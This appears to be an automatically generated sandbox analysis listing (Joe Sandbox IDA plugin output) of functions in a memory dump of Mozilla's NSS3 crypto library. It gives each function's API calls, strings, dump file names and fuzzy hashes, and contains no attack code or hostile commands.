Part of subcall function 6C7BFAB0: free.MOZGLUE(?,-00000001,?,?,6C75F673,00000000,00000000), ref: 6C7BFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C7D0CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C7D0D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C7D0D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C7D0D7D
free.MOZGLUE(00000000), ref: 6C7D0DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C7D0DC1
free.MOZGLUE(00000000), ref: 6C7D0DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C7D0E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C7D0E0F

Part of subcall function 6C7A95C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C787F4A,00000000,?,00000000,00000000), ref: 6C7A95E0
Part of subcall function 6C7A95C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C787F4A,00000000,?,00000000,00000000), ref: 6C7A95F5
Part of subcall function 6C7A95C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C7A9609
Part of subcall function 6C7A95C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C7A961D
Part of subcall function 6C7A95C0: PK11_GetInternalSlot.NSS3 ref: 6C7A970B
Part of subcall function 6C7A95C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C7A9756
Part of subcall function 6C7A95C0: PK11_GetIVLength.NSS3(?), ref: 6C7A9767
Part of subcall function 6C7A95C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C7A977E
Part of subcall function 6C7A95C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C7A978E

Strings

-$}l, xrefs: 6C7D0C64
*,}l, xrefs: 6C7D0C69, 6C7D0DE0, 6C7D0C80, 6C7D0C8B, 6C7D0CAF
*,}l, xrefs: 6C7D0DCC

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,}l$*,}l$-$}l
API String ID: 3136566230-2381723128
Opcode ID: cd009b66ea096cba3c9d36ba02cd5c8d672bdf2c55152d28e9a576c0a0e85ef8
Instruction ID: dbf9e56e265deae989a2ff47e4e44b8df622b45c29fe0640dfbd4ec256b602c4
Opcode Fuzzy Hash: cd009b66ea096cba3c9d36ba02cd5c8d672bdf2c55152d28e9a576c0a0e85ef8
Instruction Fuzzy Hash: 7041F3B5901205AFEB009F64EE4ABAF7674FF04308F010135E91567742E731BA14CBE2

Function 6C7C5CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6C7C5EC0,00000000,?,?), ref: 6C7C5CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6C7C5CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C7C5CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C7C5D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6C7C5EC0,00000000,?,?), ref: 6C7C5D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6C7C5D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7C5D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7C5D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6C7C5D80

Strings

extern:, xrefs: 6C7C5CEA, 6C7C5D4B
multiaccess:, xrefs: 6C7C5CB8
NSS_DEFAULT_DB_TYPE, xrefs: 6C7C5D1A
dbm:, xrefs: 6C7C5D03, 6C7C5D60
sql:, xrefs: 6C7C5CD1, 6C7C5D36

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: 39f24702dd938006eacf0cd8f5c82d78b10944fb9027aa45e85bf315b8158b59
Instruction ID: 2f853547a0fa2a3bf073e6d20c553d977f2f5a58d206a9cb519b3e4fec98e5f6
Opcode Fuzzy Hash: 39f24702dd938006eacf0cd8f5c82d78b10944fb9027aa45e85bf315b8158b59
Instruction Fuzzy Hash: D231F8A0741703AFE7A01A24EECEB663768AF0234DF140430FD5596782EB63E511E2D6

Function 6C7C6CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C891DE0,?), ref: 6C7C6CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7C6D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C7C6D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C7C6D82
DER_GetInteger_Util.NSS3(?), ref: 6C7C6DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C7C6DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C7C6E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C7C6F19
PK11_DigestBegin.NSS3(00000000), ref: 6C7C6F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C7C6F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C7C7011
PK11_FreeSymKey.NSS3(00000000), ref: 6C7C7033
free.MOZGLUE(?), ref: 6C7C703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C7C7060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C7C7087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C7C70AF

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 14d67496734289b601276bd1dc6e291362039691bdf9b253bb88212255298751
Instruction ID: e9f3df109e67ed7f5c7c54055caa2402fa7a4bd25920d6b580c62b54268140a7
Opcode Fuzzy Hash: 14d67496734289b601276bd1dc6e291362039691bdf9b253bb88212255298751
Instruction Fuzzy Hash: F1A119B17042029FEB109F24DEC5B7A32A4EB8131CF24493AE919CBB81E775DA45C793

Function 6C78AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C76AB95,00000000,?,00000000,00000000,00000000), ref: 6C78AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6C76AB95,00000000,?,00000000,00000000,00000000), ref: 6C78AF39
PR_Unlock.NSS3(?,?,?,6C76AB95,00000000,?,00000000,00000000,00000000), ref: 6C78AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6C76AB95,00000000,?,00000000,00000000,00000000), ref: 6C78AF69
TlsGetValue.KERNEL32 ref: 6C78B06B
EnterCriticalSection.KERNEL32(?), ref: 6C78B083
PR_Unlock.NSS3(?), ref: 6C78B0A4
TlsGetValue.KERNEL32 ref: 6C78B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6C78B0D9
PR_Unlock.NSS3 ref: 6C78B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C78B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C78B182

Part of subcall function 6C7BFAB0: free.MOZGLUE(?,-00000001,?,?,6C75F673,00000000,00000000), ref: 6C7BFAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C78B177

Part of subcall function 6C80C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C80C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6C76AB95,00000000,?,00000000,00000000,00000000), ref: 6C78B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6C76AB95,00000000,?,00000000,00000000,00000000), ref: 6C78B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6C76AB95,00000000,?,00000000,00000000,00000000), ref: 6C78B1C2

Part of subcall function 6C7B1560: TlsGetValue.KERNEL32(00000000,?,6C780844,?), ref: 6C7B157A
Part of subcall function 6C7B1560: EnterCriticalSection.KERNEL32(?,?,?,6C780844,?), ref: 6C7B158F
Part of subcall function 6C7B1560: PR_Unlock.NSS3(?,?,?,?,6C780844,?), ref: 6C7B15B2

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: cfdd5e8fda1feec04d2d4d17ef656921b181e4ddf51c7071e5d0af9594124c8c
Instruction ID: 356d5b12696bd4b1cf274336a810e9480c5ad5da172824fdbb971967ebdc5679
Opcode Fuzzy Hash: cfdd5e8fda1feec04d2d4d17ef656921b181e4ddf51c7071e5d0af9594124c8c
Instruction Fuzzy Hash: 62A1D0B1E002059BEF119F64DE89AEE77B4BF04308F144035EA05AB752EB31E959CBE1

Function 6C782C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?xl,?,6C77E477,?,?,?,00000001,00000000,?,?,6C783F23,?), ref: 6C782C62
EnterCriticalSection.KERNEL32(0000001C,?,6C77E477,?,?,?,00000001,00000000,?,?,6C783F23,?), ref: 6C782C76
PL_HashTableLookup.NSS3(00000000,?,?,6C77E477,?,?,?,00000001,00000000,?,?,6C783F23,?), ref: 6C782C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C77E477,?,?,?,00000001,00000000,?,?,6C783F23,?), ref: 6C782C93

Part of subcall function 6C80DD70: TlsGetValue.KERNEL32 ref: 6C80DD8C
Part of subcall function 6C80DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C80DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C77E477,?,?,?,00000001,00000000,?,?,6C783F23,?), ref: 6C782CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C77E477,?,?,?,00000001,00000000,?,?,6C783F23,?), ref: 6C782CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C77E477,?,?,?,00000001,00000000,?,?,6C783F23), ref: 6C782CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C77E477,?,?,?,00000001,00000000,?), ref: 6C782CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C77E477,?,?,?,00000001,00000000,?), ref: 6C782D4D
EnterCriticalSection.KERNEL32(?), ref: 6C782D61
PL_HashTableLookup.NSS3(?,?), ref: 6C782D71
PR_Unlock.NSS3(?), ref: 6C782D7E

Part of subcall function 6C7507A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6E204A), ref: 6C7507AD
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6E204A), ref: 6C7507CD
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6E204A), ref: 6C7507D6
Part of subcall function 6C7507A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6E204A), ref: 6C7507E4
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,6C6E204A), ref: 6C750864
Part of subcall function 6C7507A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C750880
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,?,6C6E204A), ref: 6C7508CB
Part of subcall function 6C7507A0: TlsGetValue.KERNEL32(?,?,6C6E204A), ref: 6C7508D7
Part of subcall function 6C7507A0: TlsGetValue.KERNEL32(?,?,6C6E204A), ref: 6C7508FB

Strings

#?xl, xrefs: 6C782C43

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?xl
API String ID: 2446853827-521577452
Opcode ID: 89b3f7fa475e5478bd6f7192162226bf3764b3bb52448c0f92e9d4f0120d6c4d
Instruction ID: 09a6122ff7fce536ac1f2166632547a63a2ebf1fe6aaffc81b56469f0f37ff75
Opcode Fuzzy Hash: 89b3f7fa475e5478bd6f7192162226bf3764b3bb52448c0f92e9d4f0120d6c4d
Instruction Fuzzy Hash: DA51F2B6D01205ABDB109F24DD8D8AABB78BF1521DB048531ED1897B12FB31E964C7E1

Function 6C7DAD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7DADB1

Part of subcall function 6C7BBE30: SECOID_FindOID_Util.NSS3(6C77311B,00000000,?,6C77311B,?), ref: 6C7BBE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C7DADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C7DAE08

Part of subcall function 6C7BB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8918D0,?), ref: 6C7BB095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C7DAE25
PL_FreeArenaPool.NSS3 ref: 6C7DAE63
PR_CallOnce.NSS3(6C8C2AA4,6C7C12D0), ref: 6C7DAE4D

Part of subcall function 6C6E4C70: TlsGetValue.KERNEL32(?,?,?,6C6E3921,6C8C14E4,6C82CC70), ref: 6C6E4C97
Part of subcall function 6C6E4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C6E3921,6C8C14E4,6C82CC70), ref: 6C6E4CB0
Part of subcall function 6C6E4C70: PR_Unlock.NSS3(?,?,?,?,?,6C6E3921,6C8C14E4,6C82CC70), ref: 6C6E4CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7DAE93
PR_CallOnce.NSS3(6C8C2AA4,6C7C12D0), ref: 6C7DAECC
PL_FreeArenaPool.NSS3 ref: 6C7DAEDE
PL_FinishArenaPool.NSS3 ref: 6C7DAEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7DAEF5
PL_FinishArenaPool.NSS3 ref: 6C7DAF16

Strings

security, xrefs: 6C7DADEE

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 22f9580e304878cafdb10a8c8fb6e9286d6bc3e97ac5b9ef79cd0055de873cef
Instruction ID: 97bd5f92985280acaa60547284332b56b1f0914256414fc91d8bdea2ff92e609
Opcode Fuzzy Hash: 22f9580e304878cafdb10a8c8fb6e9286d6bc3e97ac5b9ef79cd0055de873cef
Instruction Fuzzy Hash: F8410BB19042016BE7215B249E8EBBA32ACBF5172CF150535E81496B81F739F708C6D7

Function 6C7F5CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6C7F2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C7F2A28,00000060,00000001), ref: 6C7F2BF0
Part of subcall function 6C7F2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C7F2A28,00000060,00000001), ref: 6C7F2C07
Part of subcall function 6C7F2BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6C7F2A28,00000060,00000001), ref: 6C7F2C1E
Part of subcall function 6C7F2BE0: free.MOZGLUE(?,00000000,00000000,?,6C7F2A28,00000060,00000001), ref: 6C7F2C4A

free.MOZGLUE(?,?,6C7FAAD4,?,?,?,?,?,?,?,?,00000000,?,6C7F80C1), ref: 6C7F5D0F
free.MOZGLUE(?,?,?,6C7FAAD4,?,?,?,?,?,?,?,?,00000000,?,6C7F80C1), ref: 6C7F5D4E
free.MOZGLUE(?,?,?,6C7FAAD4,?,?,?,?,?,?,?,?,00000000,?,6C7F80C1), ref: 6C7F5D62
free.MOZGLUE(?,?,?,?,6C7FAAD4,?,?,?,?,?,?,?,?,00000000,?,6C7F80C1), ref: 6C7F5D85
free.MOZGLUE(?,?,?,?,6C7FAAD4,?,?,?,?,?,?,?,?,00000000,?,6C7F80C1), ref: 6C7F5D99
free.MOZGLUE(?,?,?,?,6C7FAAD4,?,?,?,?,?,?,?,?,00000000,?,6C7F80C1), ref: 6C7F5DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6C7FAAD4,?,?,?,?,?,?,?,?,00000000,?,6C7F80C1), ref: 6C7F5E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6C7FAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C7F5E3E
free.MOZGLUE(?,?,?,?,?,?,6C7FAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C7F5E47
free.MOZGLUE(?,?,?,?,6C7FAAD4,?,?,?,?,?,?,?,?,00000000,?,6C7F80C1), ref: 6C7F5E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6C7FAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C7F5E78
free.MOZGLUE(?,?,?,?,?,?,?,6C7FAAD4), ref: 6C7F5EB9
free.MOZGLUE(?,?,?,?,?,?,?,6C7FAAD4), ref: 6C7F5EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6C7FAAD4), ref: 6C7F5F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C7FAAD4), ref: 6C7F5F4B

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: 42c660875e3707b40e798695f47135c541af88510ed42579afe252819403beff
Instruction ID: 818159dac31f19e34a76895db7696a843ae7ec2fd9a103e2a53a10e4cec17285
Opcode Fuzzy Hash: 42c660875e3707b40e798695f47135c541af88510ed42579afe252819403beff
Instruction Fuzzy Hash: C871CFB5A00B009FD750CF24D989A92B7B5FF89308F148538E82E97712E731F915CB91

Function 6C778DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C778E22
EnterCriticalSection.KERNEL32(?), ref: 6C778E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C778E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C778E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C778E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C778EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C778EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C778EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C778F00
free.MOZGLUE(?), ref: 6C778F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C778F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C778F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C778F5B
PR_Unlock.NSS3(?), ref: 6C778F72
PR_Unlock.NSS3(?), ref: 6C778F82

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 287bdc72d7cac6eeb3f9953ad3161cdb9ac995428ab28892c2a40efea592810c
Instruction ID: e319845b7d0d895f9d6671626a5d2d1eceacb55531198484b0936afb578d71f2
Opcode Fuzzy Hash: 287bdc72d7cac6eeb3f9953ad3161cdb9ac995428ab28892c2a40efea592810c
Instruction Fuzzy Hash: AD51E5B2E002099FDB309E68CE849AEB779EF55358F144539E818AB701E731ED4487F1

Function 6C6EDC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C6EDD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6C6EDD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C6EDE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6C6EDEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6EDECD

Strings

%s at line %d of [%.10s], xrefs: 6C6EDF7C, 6C6EDFEC
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6EDF6D, 6C6EDFCC, 6C6EDFDD
database corruption, xrefs: 6C6EDF77, 6C6EDFE7

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: 365fcda76af443f6b0c253f52b5d3fea930504a97073700d5e1034c27c6048a5
Instruction ID: 344cf3fecaf1f68b926dbc9e4fd21e6010af73c24baa9e457b3dfcee26e8f9bc
